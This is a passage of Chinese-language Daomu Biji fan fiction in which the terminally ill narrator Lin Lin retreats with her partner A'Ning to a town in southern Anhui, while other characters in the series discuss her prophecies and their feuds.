“不。”我冷硬地说,“我没有拿枪指着她的头就算好的了,还等她几个小时送出温馨慰问?人没必要满足任何人的期待,何况她想见的也不是我。走了。”
我拍拍她的肩膀,真情实意地说:“我很看好你,你是个好人,替我转告今天开车的那个司机,一定要吸取教训,下次不能闯红灯了,你也是,墨家人都爱玩车啊,总有河边湿鞋的一天,小命只有一条,还是珍惜的好。”
我对她们几个微微笑了一下,拉着阿宁走了。
坐上去机场的车,阿宁说:“就这么放过她了?”
我一手玩着贪食蛇,全身力气靠在阿宁肩膀上,懒懒地说:“算了,时间花在不相干的人身上干什么呢?我现在就想和你在一起。”
阿宁拉过我的手,轻轻揉捏着:“你就是看她可怜吧?就像你自己说的那样,你总是觉得谁都不容易,就轻飘飘揭过了。”
“主要是,”我说,“杀人犯法,她也罪不至死,车祸就够她受的了。”
“还是心软了,”阿宁点了点我的手腕,“你这样是震慑不了别人的。”
我笑起来:“我能震慑住公交车大爷和高铁上的小孩就行了,我一普通大学生,干什么震慑人?大小姐驾到吗?”
“高铁?”阿宁疑惑地吐出这个词。
“就是动车,火车。”我心虚地直起身来,假装忙碌地玩游戏。
她没有多问,打起了电话,片刻后,操作失误,我的蛇死了,我又打开俄罗斯方块。
说实话,有点无聊,好想玩蛋仔。
阿宁还在通电话,大概看我无聊,给我塞了个平板,我摸着平板边缘,感觉手感有些熟悉。
我忽然想起来,这个牌子型号的平板,我小时候用过。
大且清冷,毫无人气的家,陪伴我的只有这个冰冷的平板。
我把它远远地推走,抱住了阿宁的胳膊。
阿宁察觉到了我的异样,很快三言两语挂了电话,把我搂到怀里。
“怎么了?”她低声问,手从上到下抚摸着我的脊背,温柔又耐心。
我说:“那个平板,我小时候……”
话音戛然而止。
果然恋爱就会降智啊,什么话不经过大脑就讲出来了,现在的十几年前哪有这个型号的平板?
“我是说,我不想玩平板,我想和你玩。”我说。
“好,那我们聊聊天?说说你小时候的事?我都没有了解你以前的事。”阿宁打开保温壶,示意我喝一口,“好喝吗?”
我看到水面上飘了几片干玫瑰花苞,喝了口,回味了下:“没感到玫瑰香味啊,是不是你在医院又加了水,花味儿给泡没了?”
“有可能。”阿宁的手一顿,接过保温杯也喝了一口,放在了旁边。
我说:“小时候的事,其实也没啥好说的,哎,妈妈和爸爸关系不好,从我小的时候就吵,一直吵到大,我越大,他们关系越恶劣,现在已经达到见一面就要几天怄的吃不下饭的地步了。”
“连培养孩子的方式他们都完全相反,我妈送我去学骑马,学赛车,滑雪,我爸就冲进来把我带走,去学钢琴,茶艺,插花。”
我笑起来,“总之他俩有病似的,我就是个纯工具人,不过把所有东西都囫囵学了,也不算亏。”
阿宁夸道:“你会的东西好多,很厉害。”
我被她幼儿园老师夸小孩的语气击中了笑点,拍大腿狂笑不止。
阿宁:“……我想起来以前你也是掐吴邪的肉,现在拍我大腿了。”
她冷了脸:“别动。”
我一愣,有些讪讪收回手,阿宁却轻轻瞥了我一
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眼,抓住我的手重新放在她腿上,对龇着大牙笑的司机说:“你别动,脸给我摆正!”
她不嘻嘻了。
笑容转移到了我脸上。
飞机轰然起飞,高空呼啸声透过透明的玻璃,只留下微弱的噪音。
刺客世家,第一条就是警惕和浅眠。
麻意从身体褪去,飞机嗡鸣消逝,墨婳淡漠地睁开眼睛,看到了坐在旁边交握着双手的人。
“她呢?”墨婳嘶哑开口。
“走了,现在飞机恐怕都起飞了。”小孟没有动,只是换了条腿翘。
空气沉默着,房间安静至极。
小孟笑了一声,盯着她:“不至于吧?不就是和她长得有点像吗,这么失魂落魄?我替你挽留了,人家根本没理。要我说没理才正常。你在长沙的地头劫人,昨天正是吴家大开杀戒的时候,一帮子人杀气腾腾的,一头凶劲儿。今天你就把人客卿给抢了。要不是林霖发话了,我们现在能不能活都是个问题。”
墨婳勉强坐起来,看着自己手臂上的石膏,脖子上带了劲椎固定器,纱布缠的浑身都是。
小孟还是给她递了杯水:“多少年没受这么重的伤了?没几年好活了还在这死作。本来还想给你卖个惨,人直接拒听了。这姑娘,是个有想法的,反正你拿捏不住。”
“我没想拿捏她,我只是——”墨婳低声辩驳。
“她心里门儿清呢,”小孟打断她,“有主见,有魄力。小小年纪的,这段时间我捧着她她也不飘,被人追杀杀到脸面前了也不慌。她也就是志不在此,外加一个心软,不然加入裘德考的公司对我们来说又是一个劲敌。”
墨婳漠然地看着她,脸上有种空洞,她像是很费力解读着她的话,半晌,说:“她们很像,不是吗?”
“有点吧,”小孟探究地盯了她两秒,忽然猛踹床沿,椅子丝滑的向后呲啦了两米,远离病床上的人,她夸张大喊:“不会吧,你不会觉得林霖是她吧?怎么可能?就算投胎也不会几年就长到二十岁了!”
小孟继续道:“根据我这段时间对林霖的了解,她要是知道了你这么恐怖的想法,立马带着人连夜逃出中国。”
墨婳低垂着眼眸,静默不动,像一尊雕像。
小孟看着她,点评道:“你大概疯了。”
墨婳无动于衷,只是说:“也许。是她也好,不是她也好,对我来说没有什么不同。毕竟她已经走了,不是吗?”
“林霖不是她,”小孟摇摇头,“别害了人家,林霖喜欢阿宁,你不是知道吗?人两情相悦。”
“是不是她不重要,只是阿宁凭什么能得到她?她也配?”墨婳重复地说着,脸色逐渐扭曲,她嘲讽地扯了下唇,“我们这样的人,也配得到些什么虚妄的爱?她凭什么?”
她恶意满满地说:“林霖不是也活不长吗?稍纵即逝的虚无谁能抓的住?我抓不住,阿宁就能?笑话!”
墨婳抬起头,充血的眼睛满满看向小孟,里面升起黑暗中的磷火:“我等着她落到和我一样的下场。”
44.皖南
十月的皖南小镇,气温刚刚好,既不像夏天人挤人大家一起蒸桑拿加愤怒推搡,也不像冬天那么萧条,看着就叫人觉得人生无望。
秋高气爽,远处是青山,楼下是白墙黛瓦马头墙。
天水洗似的蓝,在这么好的日子里,我在做一件非常有意义的事情——
睡懒觉。
阿宁把我从床上薅起来的时候,已经是中午了。
“昨晚不是说今天去宏村写生吗?都十二点了,快起来我们吃饭。”阿宁把我捞起来,我又像泥鳅一样滑下去,如此重复了几遍,她说了几句话,我耳朵像蒙着一层水,听不真切。
阿宁放下我,轻柔的吻落在我额头,鼻尖,嘴唇,她的脚步声渐渐远去。
我又陷入沉睡。
等我终于睡饱了,天也黑了。
我睡的大脑发昏,丧尸一样爬下床,坐在窗边的阿宁合上电脑,静静地看着我。
我说:“嗨,阿宁,晚上好。”
我溜进浴室。
洗漱的间隙,我想起来她中午叫了我,拉开浴室门,我探头探脑:“你白天和我说了什么?”
“没什么。”阿宁端上最后两盘菜,服务生扭头好奇地看了我一眼,掩上门出去。
“不是什么重要的事。”阿宁等他们全部出去了,微笑着对我说。
我们在这个风景秀丽的皖南小镇住两天了,这里的环境倍儿棒,阿宁租了一整栋小楼。
这个小楼精致又舒适,出门走两步就是很多景区,这种地理条件超级优越的房子,无论是改造成民宿还是咖啡店都很赚钱。
房主一个人,带着一只小猫住,本来我们是租不到这么好的房子的,房主说她要出国了,很紧急,正巧遇到我们在她家门口转悠,我们一下就看对眼了,房子立刻就长租给了我们。
她走的匆忙,猫留给了我们,它和我一样能睡,这回子我醒了,猫也醒了。
我穿着睡衣坐上餐桌,小猫轻盈地跳上来,卧在了我腿上。
我抚摸着小猫,阿宁不断往我碗里堆菜,我支着脸,饭看起来很诱人,色香味俱全的。但是我这两天吃药吃的,嘴巴好淡。
“我有点不想吃……”我盯着碗里的菜。
“多少吃一点,吃过我们出去逛逛,你这几天吃的都少。”阿宁说。
我看着桌子上的四盘菜,“这么多,吃得完吗?”
“我胃口好的时候,我可以解决两盘菜,这几天不知道为啥就是不想吃饭,还很想睡觉。”我又rua了一把猫,“要不撤掉一盘吧,浪费粮食多不好。”
“没事,你能吃多少吃多少,剩下的我吃,放心,我能吃完。”阿宁搬了板凳坐过来,挨着我坐下,不动声色给了猫屁股一弹指。
小猫嗷唠一声,跳下来跑了。
“那你饭量很可以哎。”我给她竖大拇指,又晃了晃脑袋,只感觉心脏不停砰砰砰跳着,我抓了一把胸口的衣服,试图缓解这种状况。
注意到阿宁的视线,我笑道:“没事,胸口有点闷而已。”
阿宁点了点头,眼睛很缓慢地垂下来,掩盖住了某种神色。
她总是这样,阿宁想。
林霖这个人,有时候阿宁拿她没办法。
永远不会对自己说什么糟糕的事情,她总是说“我没事啊”“我很好”。
阿宁又想起医生说的话。
在皖南安定下来后,林霖就出现了嗜睡、健忘等情况。
阿宁急得团团转,请了医生过来,医生带着助手,给呼呼大睡的林霖做了一些检查,询问了一些她的情况。
医生说:“一个是身体各项机能持续下降,新陈代谢逐渐缓慢,她需要比别人花更多的时间睡眠来保持精力。”
“一个是她的精神太疲惫了,现在她的状况像是绷紧的弦彻底断了,人有的时候活着,就靠一口心气吊着。这位小姐……可能之前有一直在追逐的事情,或者是目标?”
医生看着阿宁的神情,说出自己的推理:“现在她可能已经做到了或者是放弃了,总之她没有什么追求了。也就是说,无论她是生理还是心理都很累了。”
阿宁皱起了眉头,看着林霖的一小块侧脸,像是听不懂一样询问着:“……什么意思?”
医生看着这个一举一动颇有气势的女人,她从医多年,是本市最有名气的疑难杂症医生,见了不少形形色色的人。
她见到阿宁的瞬间,就判断出此人绝非寻常之辈。
这样的人又怎么可能听不懂她的言下之意?
她没有回答。
时间一分一秒的过去,窗外行人欢笑,窗内的空气寂静且沉闷。
“她还能……她还有……多少、时间?”
穿着卡其色风衣的女人艰难开口,从喉咙里闷出了一句话。
医生默了默,道:“半个月。”
阿宁像是骤然苏醒,她用力撑着木质的床头,手指按在繁复的花纹上,印出血红的痕迹。
心脏一阵一阵的绞痛着,阿宁双眼发黑,只感觉一阵无尽的悔意和恐慌,她第一个想法是不信。
怎么可能?她看着医生,脸上浮现出礼貌的微笑:“我想,你是不是弄错了?”
她一只手指着床上的人:“她明明她明明很健康,我觉得她只是有点爱睡觉,医生,你也知道,他们大学生就喜欢熬夜,她昨天晚上打了好长时间游戏,又看了很久的小说,她告诉我她在家也这样,这应该是一种正常现象吧?嗯?医生,你是不是搞错了?”
她轻松笑起来,肩膀夸张地耸动了两下,像是很无奈的摊手说:“这个年纪的孩子都这样,说了也不听。对不对?”
医生平静地回望着阿宁,平静的让阿宁发寒。
小助手不安地瞅了瞅她们俩,整个人往医生后面缩了缩。
床上的人无知无觉,发出均匀又悠长的呼吸。
似乎受到这个声音的吸引,阿宁又把视线转了回来,不说话,看了林霖许久,久到医生的小助手开始偷偷换脚站立。
太阳西斜,医生离开了,留下一堆药。
阿宁坐在书桌前,轻轻摆弄着这些药。
她下楼找了贴纸和黑笔,在贴纸上写下每日的剂量,认真核对,又一个一个在药瓶上仔细贴好。
轻手轻脚把药瓶放好,窗外的太阳完全落山了,气温开始降低,阿宁打开了空调,给林霖掖了下被子。
她没有开灯,摸黑走了回去,依然坐在椅子上。
昏暗的环境里,白色的药瓶刺目极了。
这些药有用吗?
她问自己。
这些药是给谁吃的?
阿宁开了一瓶药,倒出一颗药片,慢慢放在嘴里咀嚼了一会儿。
淀粉和糖的味道迟钝的弥漫开来,她却觉得,满是苦味。
她昂起头
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,一只手扶住额头,过了很久,那手慢慢移动到眼睛上。
难耐的呜咽低低响起。
……
我在皖南过上了神仙般的生活。
我拉着阿宁,带着房主的猫,逛遍了周围所有好玩的地方。
看电影、逛商场、去游乐园、开车去兜风、手牵手走在沿河公园上,偷偷在她唇边留下一个草莓味的吻。
所有恋爱会做的事我都一丝不苟地执行,每天回到家,都会在便签上记录下今天做的事,把它们粘在书页里。
阿宁看起来很高兴,有时候又有点不高兴。
每当我认认真真坐在书桌前,一边擦着半干不干的头发,一边写便签的时候,她就板着脸,坐在一旁盯着我,浑身写满了:生气!
正如此时。
“怎么啦,”我马上合上书,笑眯眯跑过去拉她的手,亲她的头发,朝她做着搞怪的表情,“谁惹我们阿宁不高兴了,我去把她的头打到屁股里。”
阿宁大概是前半生走的都是冷硬风格,她受到的训练是收敛情绪。
对于自己这么明显的表达,她有些不习惯,反握住我的手,有些别扭地垂下眼睛。
我歪着把头扭下去,从上到下看她的眼睛,笑嘻嘻道:“我们阿宁害羞了吗?让我看看。”
阿宁看起来想瞪眼,又忍不住笑起来,直接打横把我抱了起来,说:“头发都没干!就在那贫嘴!”
我晃了晃腿,双手搂着她脖子:“我懒得弄,一般我都吹到半拉干,主要把头皮吹干就好,然后靠我的一身正气把头发烘干。”
“为什么?”她失笑。
“太懒了,”我说,“如果是在家,管家一般会帮我吹,自己在学校我就随便搞搞。”
她叹了口气,说:“你原来过着公主一样的生活啊,现在和我在一块,不委屈了你吗?”
我掏了掏兜,列扑克牌一样展示银行卡:“这还不行吗?难道要像真公主一样给我找几个仆人过来给我使唤?”
“也不是不行。”她看起来竟然像是真的在思考,“阿Z可以,他可以当。”
我吃惊地看她,阿宁把我放在软椅上,拿吹风机开小风给我吹头发。
声音并不吵闹,洗发膏的甜香烘烤加热,她的指尖轻抚过头皮,酥酥麻麻的。
我玩着桌子上一朵白合花,嗅了嗅它的香气,说:“不了吧,我们家里只招女工,我不喜欢男的,也拒绝给他们提供工作岗位。”
阿宁笑了,舒展了眉眼,玩笑道:“阿Z是免费的。他会很高兴来当你的哈士奇。昨天他还打电话过来问你的情况。”
“喂!”吹风机的开关卡塔一声停了,我假装生气,猛地转身,阿宁却两只手撑着环状的椅背边缘,正好伏下了身,我的头撞上她下巴,咚的一声巨响。
我眼冒金星,耳边却听到阿宁的轻笑,感到她轻柔着我脑门的手。
我缓了过来,怒视她,趁机把事情严重化,换句话说,我要开始讹人了:“我怀疑你是故意的!”
我狂拍大腿,边说边笑:“脑震荡啦!我智障啦!”
阿宁哈哈大笑起来,捂着眼睛和鼻子,唇红齿白的笑。
她笑的厉害,把我的椅子转过来,慢慢跪坐在我脚下的地毯上,把脑袋放在我膝盖上。
灼热的温度带着水汽打在我的腿上,隔着睡衣裤子一层薄薄的布料,蛇一样窜上我的肌肤。
45.写生
一觉睡到下午,我睁开眼,只感觉浑身酸痛。
掀开被子一看,已经换了一套睡衣,我吃惊地对阿宁道:“你你你给我穿的衣服?”
阿宁笑起来,尾音上扬,心情很不错的样子:“我还给你洗了澡,是不是很贴心?”
她走过来,我回忆起昨晚的疯狂,立刻怕了,双臂交叉,用劈了叉的嗓音大喊:“你不许过来!你你你给我站住!”
阿宁果然不动了,站在原地委屈地看着我,向我展示她手里的拖鞋:“我来给你拿鞋的,没鞋你怎么下床?好吧,既然你不要,我拿走了。”
“不许!!拿过来!”我猛地坐起来,腹部一阵酸痛,活像昨天晚上做了两百个仰卧起坐。
我捂着肚子嗷嗷叫,倒了下去,赖在床上:“我起不来啦!我起不来啦!”
我捋开袖子看胳膊,又掀开衣角看我的腹部,立刻用控诉的目光看着她,占领了道德高地:“阿宁啊,我这里的痕迹是怎么回事?我记得昨天我还没看到。”
她眼神闪烁着走过来,对我一笑。又忽然俯下身,在我脖子留下一串吻,轻轻吸了吸,扬起眉毛,眉眼弯弯:“就是这样。”
我抡起枕头暴击她。
……
我起来吃了点东西,兴高采烈地指挥阿宁带上画具,出发写生。
岸边有一溜排美术生,画什么的都有,对岸树和徽派建筑的倒影、毛茸茸的棕色小狗、嬉笑打闹的孩子。
我挑了个人少的地方,摆好两个折叠椅,阿宁在我前面耐心地支起画架、画板,半蹲着撕胶带粘画纸。
一两缕碎发垂落在她侧颜,光洁凌厉的下颌线清晰夺目,她脚下放着打开的丙烯颜料盒,五颜六色,炫目多彩,和她本人一样,是满眼青白灰背景里的亮色。
“看我干嘛?”阿宁粘好画纸,后退几步看有没有贴歪,顺手揉了揉我的头。
她拎起折叠水桶,捏我的肩膀,示意道:“我去接水,马上回来。”
我应了一声,从包里拿出各种型号的画笔。
用铅笔浅浅起了个型,余光里,有人在偷偷看我。
我一扭头,发现是个小姑娘,她穿着美术集训的统一校服,扎着低马尾,看起来有些青涩,此刻正好奇地看着我。
她还没来得及收回视线,被我抓了个正着,讪讪一笑,拿笔假装忙碌地画画,可看那样子,应该什么都没画出来。
我没有在意。
阿宁拎着水桶快步过来,我拿笔沾了沾水,开始画景,她坐在我旁边,静静看着。
昨晚下了雨,石板浸出潮湿的味道,缝隙里的青苔隐藏在夕阳的影子里,吵吵闹闹地生长着。
粉墙黛瓦默默伫立着,注视着一批又一批游客和描绘它们的人,水中青山、房屋、行人倒影浑然一体,对岸石板连成一条分割线,上面的人清晰,水中的人模糊。
“阿宁阿宁。”我摇晃她手臂,朝正对面指了个位置,“你去站到那里,我把你画进去。”
视野中多了一抹高挑的身影,她在我对面站定,我们之间隔着南湖。
阿宁两手插兜,姿态闲适,风衣衣角飘起弧度,站在山和水之间。
水面荡起波纹,揉皱她的倒影。
我快速勾勒出她的形象,把自己加了进去,站起来后退两步,满意地点点头,喊她回来。
我忙着增添一些小细节,阿宁什么时候回来的我都不知道。
一条手臂搂住我的肩膀,阿宁把脑袋凑过来,呼吸带着热气吹过来,她看着我的画,我问道:“好看吗?”
画的颜色饱和度不高,整幅画只有景,和两个人,背景虚化,焦点聚集,碧水蓝天里,一条线隔开我和阿宁,她在岸上,我在水中,我们脚对脚,仿佛照镜子。
阿宁敏锐地发现了:“为什么我的倒影是你?你为什么这么模糊?”
我勾线的细笔一顿,添上最后一点水面的夕阳灿金,故作高深扭头对她道:“意境,这样有意境。”
她没有说话,默默帮我把用过的乱七八糟画笔洗好,倒掉脏水,擦干画笔,收拾妥当,坐我旁边,搂着我。
我们一起等着颜料变干,像是等待什么东西成型固定,永远保留。
不远处,那一排写生的学生开始收拾东西,那个偷偷看我们好几眼的女孩犹豫着,走了几步,咬牙走过来,说:“你好!请问……”
她看着我们,打了磕巴,手无足措,脸立刻红了,“我,我给你们拍了一张背景照片,想送给你们。”
她抽出一直在口袋里的手,拿出一张拍立得,双手递给我,小声说:“很好看,你们要不要?”
“要要要。”
我笑着接过来,她像是松了一口气,忐忑地看看我,又看看阿宁。
照片是从我们身后拍的,阿宁坐在左边,我坐在右边,有风吹起我们的头发,扬起相同的弧度,斜斜的夕阳打在我们头发和同款风衣上,金色的滤镜朦胧模糊。
我缩在阿宁怀里,阿宁搂着我,两颗脑袋凑在一起,前面是我画好的丙烯画。
“很好看。”我摩挲着拍立得的边缘,说:“我非常喜欢。”
她要离开的时候,阿宁硬塞给小姑娘一百块,她不好意思但十分高兴地走了。
“你喜欢的话,我们多拍几张。”阿宁和我一起看照片,从背后圈住我,一只手包住我的手,另一只手环抱住我的腰。
“不干。懒得拍。”我拒绝道,岔开话题:“我的画干了,我们回家吧。”
“如果你不行,那你就回家吧,回杭州守着你的铺子,别在这丢吴三省的脸!”
巴乃湖边的帐篷里,哑姐恨铁不成钢的压低声音,揪着吴邪的衣领,道:“多少双眼睛盯着你?外面帐篷那些伙计、裘德考的人,潘子不在这里,你就什么都不做不好了?”
哑姐用力一推,吴邪连退三步摔在椅子上,扭着脸,攥紧了拳头,低声道:“我不会这样了,您别生气。”
秀秀拉住哑姐的胳膊,打圆场道:“哑姐,你别生气,吴邪就是太心急了,他不是有意的。”
秀秀劝了几句,对解语花使眼色,小花无奈地说:“吴邪,如果你扮演不好你三叔这个角色,我还是把潘子叫过来吧。有他在你不用亲自做很多事情,不会像现在这样差点露出破绽。”
秀秀道:“这次夹来的喇嘛都是道上的好手,都是人精,吴邪你不要再出去四处查看了,三爷他不可能会这么焦躁,就算是吴邪你自己困在里面,他也不会表现的那么着急。你这样被发现迟早的事。而且林姐姐不是说了他们没事吗,你不是最相信她吗?”
吴邪苦笑道:“是,我相信她。哑姐,我先给您赔个不是,是我定不下来心。让您为我操心了。”
哑姐摆了摆手,很疲惫地找了个椅子坐下:“花儿爷说的没错,你要是觉得困难,最好还是叫潘子过来。”
吴邪立刻道:“不行!林霖说不行,他不能来。”
所有人都看着他,秀秀抱臂,轻轻撅起嘴,问:“为什么?林姐姐究竟跟你说了些什么?喂,凭什么你能跟她说这么多话啊,可恶!”
解语花看了过来,视线锐利,重复秀秀的话:“她跟你说了什么?”
吴邪的手抖了抖,眼里闪过一丝恐惧,慢慢地抬起头,看着他们:“她说,潘子如果来,他会死。”
……
秀秀走出帐篷。
夜晚的妖湖,倒映着点点星空,湖岸边有人燃起篝
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火载歌载舞,火焰倒映在水中,扭曲弯折,仿佛另一个维度的空间。
秀秀无趣地拨弄手机,屏幕亮了又暗。
“也不知道给我打个电话,走这么匆忙……有鬼在追你吗?”她小声抱怨。
“嘀咕什么呢秀秀?”解语花笑着说,一边说,一边走过来,并排和她坐下。
秀秀捡起石片打水漂,单手托腮:“小花哥哥,你说林霖为什么走这么着急?她是不是被那场车祸吓到了?可是看起来也不像,长沙的混战她都不怕,现在她就这么跑啦,是因为阿宁吗,那个老外队伍里的人?”
两个人肩并肩,热量源源不断地传递到彼此身上,小花心里发暖,直视前方,眼神放空,道:“可能是因为,每个人都有自己的路要走,这里并不是她的路。”
秀秀叹了口气,闷闷道:“我知道,奶奶说尊重她的选择,不过她为什么一个电话都不给我打?她都给奶奶打了,是因为我不重要吗?小花哥哥,你知道吗?有时候她看我的眼神特别奇怪,从来没有人这样看我,怪的不得了,我心里慌慌的,我们明明没这么相处过几天,她看起来却像认识了我很久一样。”
小花神情一动,轻轻拍她手背,问:“你对林霖,怎么看?”
秀秀有些不确定地说:“虽然她没有大我多少,但我总感觉她很可靠,她说的话又这么准,奶奶也很赏识她……总之,我很喜欢她。”
“我问了吴邪,”小花顿了顿,想起她在长沙茶楼说的话,“她这个人很怪,我看不透她,不过确实像认识我们所有人。前一阵查不到她的背景,正巧瞎子给我打电话推销酒水,我本来想挂了,他听到我手下说林霖的名字,激动地告诉我他认识她。”
秀秀好奇追问:“他怎么说?”
小花无语地笑了下:“他说林霖和他上辈子认识,在格尔木那会子林霖为了他毅然决然留下来断后,他出来后以为林霖死了,这阵子悲痛欲绝地酗酒——这就是他给我推销酒水的原因。”
两个人对视一眼,同时哈哈大笑。
小花边笑边说:“我对他说,你可真会给自己脸上贴金,人家现在和阿宁在一起,好好的呢,他表示很惋惜,也不知道他惋惜个什么劲儿。”
“不过,他告诉我,林霖确实不一般,她见到他的第一眼,也是认识瞎子的。和我们的感觉一样。”
“我问了吴邪关于她的很多事情,吴邪都事无巨细的告诉我了。”小花缓慢地说,眼神复杂无比,“一个不可思议的事实,这个人,她的预言……似乎拥有绝对正确。”
九门之中,奇异之事众多,占卜师并不罕见,可要说嘴巴像开了光一样,事事说中,那可真是灵异了。两个人都暗暗心惊。
他们很久都没说话。秀秀忽然想起,北京公主坟的车上,林霖状似无意问她,能不能别让霍老太太去巴乃。
寒意忽然笼罩了秀秀。
这话究竟是什么意思?林姐姐后来沉默的时间里,她究竟在想什么?
半晌,小花道:“……关于她,霍老太太有没有说什么?”
秀秀压下回忆,说:“奶奶说,让我不要多问,有些事多问对小孩子没好处,但他们难道不知道,越是这样我们越好奇吗?而且我也不是小孩了。”
她垂下头,“长沙大乱,我杀了两个哥哥的人,奶奶把他们两个抓了起来,现在押送回北京了,为什么一直很疼我的哥哥们会用那么怨毒的眼神看着我?他们想杀吴邪,想杀你,连我这个妹妹也想杀吗?”
她的眼睛里露出迷茫:“我不知道该怎么办,该怎么样面对哥哥们了,他们究竟是我的哥哥,还是要我命的仇人?”
“如果林姐姐在,我想问问她我该怎么办,她现在在忙些什么?”
46.倒计时(一)
我在忙着谈恋爱。
谈恋爱很忙,非常忙,因为我没谈过,所以什么都想试一试。
阿宁很配合我,有时候我觉得她对我好的过分,什么古怪的要求都答应我。
家里逐渐堆起来很多小东西,两个丑丑的卡通涂色石膏,一左一右摆在书桌上,床头每天都会换一束花,精心修剪了枝桠,散发幽香。
阿宁热衷于逛小摊,买了不少手串饰品,每天给我换着搭,我看着她十分认真地在我两个手腕上比较,配对,心里暗暗发笑。
这个样子的阿宁,就像是在给自己最喜欢的娃娃梳头发一样,可爱的不得了。
阿宁皱了皱眉,盯我手腕看了几秒,似乎有些不满意,褪下了一串红豆手串,放在了桌上。
我问她怎么了:“不是挺好看的嘛,红艳艳的,也不重,不夹肉。”
她的睫毛翕动了下,胳膊撑在桌子上看着我:“这些手串在哪里都能买到,好看是好看,但很大众,我想给你不一样的。”
我笑起来:“景区纪念品嘛,不都这样。要说独特,这个不就很独特吗?”
我昂起头,展示我的项链,阳光照在上面,反射的细小弧光洒在桌面上,“银光闪闪的,我喜欢,它是我见过的最好看的项链,我会戴它戴一辈子的。”
我看着她,动了动嘴,还想说话,阿宁忽然抢先开口:“这个送给你。”
她手指灵巧地解开自己的手串,束在了我手腕上,整个过程不过三秒,古朴的铜钱手串就易主了。
我大吃一惊:“这个铜钱手串我不能要!它是你很珍贵的东西!阿宁,我不要,真的。”
阿宁的手串是由七枚清朝光绪年间安徽安庆铜元局铸造的当十铜钱。这些年来,她一枚枚寻找的。
就算暂时不论它对阿宁的意义,这种方孔铜钱本身的价值就难以衡量,每一枚拿出去,都会拍卖出一个惊人的价格,对收藏界的狂热者们有着无与伦比的吸引力。
具体来说,戴在我手上的这串手链,货币价值三百万朝上。
“拿着。”
阿宁按住我的手,不让我乱动,我们手拉手,我身子后仰,胳膊伸直,拼命想把手抽回来,她暗暗发力,稳稳握住,一时间四手僵持,悬空停在空中不动了。
“……我们现在是在空中造桥吗?哈哈哈哈。”我卸了力,她配合地放开我,我抬起手腕,仔细盯着垂下来的七枚铜钱,“阿宁,这不合适吧。”
阿宁看着我,抿了抿唇,她的表情是平静的,说:“我决定好了的想法不会改变。这串手链,是我唯一拿的出手的东西,你戴好。”
我深深叹了口气,我知道,我当然知道你是这样的人,我同样知道铜钱手串对你的意义。
阿宁确认我收下了,伸手抱起我,让我坐在她怀里,我的背部紧贴着一片灼热和柔软。
她的呼吸打在我耳朵上,大风呼呼的,她亲了亲我的脖子,牙尖咬了下我的耳垂,她很会找我的敏感点,故意对着我耳朵吹热气:“你怎么知道它是很珍贵的东西?谁告诉你的?”
我说我猜的,阿宁就停顿了几秒,呼吸打在我头发上,她没有信,也没有问,只是说:“在遇到你之前,我在戈壁里遭遇了沙尘暴,意外在魔鬼城里迷路了……那里风蚀岩山遍布,排列诡异,我和吴邪没有食物也没有水,走了三天,都出不去。我拆了铜钱,把它们一枚一枚沿路做记号,我没有报太大希望,如果有人能发现,也许也只是发现我们的尸体。”
“但我没想到,竟然就是靠着它,我们被人发现,获救了。”阿宁搂住我的腰,用了点力,轻声说:“是我命不该绝,为了遇到你吗?你说,这是不是一种天意?”
我侧过身看着她,手搭在她肩膀上,她抚摸着我的手腕,拂过手串,又摸上我的脸,指节轻触着我的睫毛,痒痒的,我眨眨眼。
“你也是天意。”
阿宁倾身,一瞬间我们距离无限拉进,肌肤熏蒸的温度都可以感受道,她眼睛里弥漫着雾和墨,漂亮的像一副山水画。
我忍不住冲她微笑着,双手环住她的脖子,昂起脸,笑眯眯地闭上眼睛。
我听到一声悦耳的轻笑,温热的唇落下来。
……
晚上吃过饭,我躺在床上看电视。阿宁在浏览网购平台,看了亚马逊又切到淘宝,在食品区反复搜索。
我随口问道:“找什么呢?”
“你以前吃的那款奶酪棒,我记得包装上面有个小公主。”阿宁敲敲头,“是不是还有迪士尼的商标?但是我在网上没有找到。”
顿时我臀大肌一紧,现在要是能找到那才是见了鬼。我装作不经意道:“哦,那个呀,其实我也不是很喜欢吃,你别找了,陪我看电视吧。”
话音未落,手机忽然响了。
霍老太太联系了我。她让我给秀秀打个电话。
我披上衣服,踩着拖鞋到阳台,清凉的风吹过,嗡的一声,秀秀脆生生的少女音传来:“好哇林姐姐,你总算给我打电话了,你是不是吧人家忘了!哼!”
我隐约听到她剁脚的声音,长大嘴巴无声狂笑着,逗她道:“你奶奶给我打了一百万让我开导你,秀秀小姐?说出你的烦恼。”
秀秀张扬极了,像
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一只骄傲的凤凰:“切!本小姐可以给你打两百万!林姐姐,要不你来我们霍家吧,你跟着我,我不会亏待你的。”
她的声音认真起来,描绘着日后:“我们霍家不会亏待你的,你救了奶奶,是我们霍家的恩人,奶奶也很喜欢你。你在北京闯的祸,我们能给你摆平,从此你在北京横着走没人敢说一个字,你要是放心不下家人,也可以接到北京,我们会安排……”
“秀秀。”我打断她,看着夜色星空,十分怅然:“不用了,我要走了。”
秀秀一愣:“你去哪?”
“在外面玩了很久,我想家了。”
我无意多说,道:“听你奶奶说,你有点不开心。”
“只是有些迷茫,”秀秀说,聪明地结束了之前的话题,“我哥哥……”
我立刻明白了,说:“杀了。”
我听见自己冷酷无情地说,心里有种惊异地抽离感,仿佛这些话不是我说的,是另外一个人格。
原来经历了这么多,我也能轻飘飘说出这么恐怖,又冷静无比的话了。
“如果你狠得下来心,杀了他们,对你日后掌权霍家有百利而无一弊。”
挂了电话,我感到有些冷,抱住了双臂。
身后有动静传来,紧接着,一件厚厚的针织羊毛衫包裹住了我,还有阿宁的怀抱。
“我也是个冷裤的人了。”我很感慨。
阿宁闷闷地笑了,“是的,这位冷酷的小姐,我们回去吧。”
柔软的大床上,阿宁问我和秀秀说了什么。
“也没啥,秀秀她想来找我玩儿。”我窝在她的怀里,眼不眨心不跳的说谎:“霍老太太嫌她在巴乃碍事,让她回北京,她不想现在回去,就问我在哪里,我告诉她了,她说她明天来。”
我捏了捏阿宁肚子上的软肉:“你能去接她吗?她明天下午五点到黄山屯溪国际机场。”
阿宁没说话,忽然伸手卡住我的脸。
我吓了一大跳,心虚的眼睛乱瞟,阿宁看不到我的表情,只是问我:“霍秀秀来玩多久?”
“一天。”
阿宁似乎想说什么,但只是俯下身吻了吻我的头发,答应了。
我侧躺在阿宁身上,心砰砰跳起来,涌起一阵阵的酸涩,蔓延到身体每一个细胞。
我很想哭,但必须忍住,我必须瞒住阿宁。
她这么聪明,我不能让她看出任何不对劲的地方。
秀秀啊秀秀,实在对不住了,我还没想好把这个锅扣到谁头上,很巧,这个时候我和你打了个电话。
我要坑你一把了。
47.倒计时(二)
下午三点,阿宁准备出发。
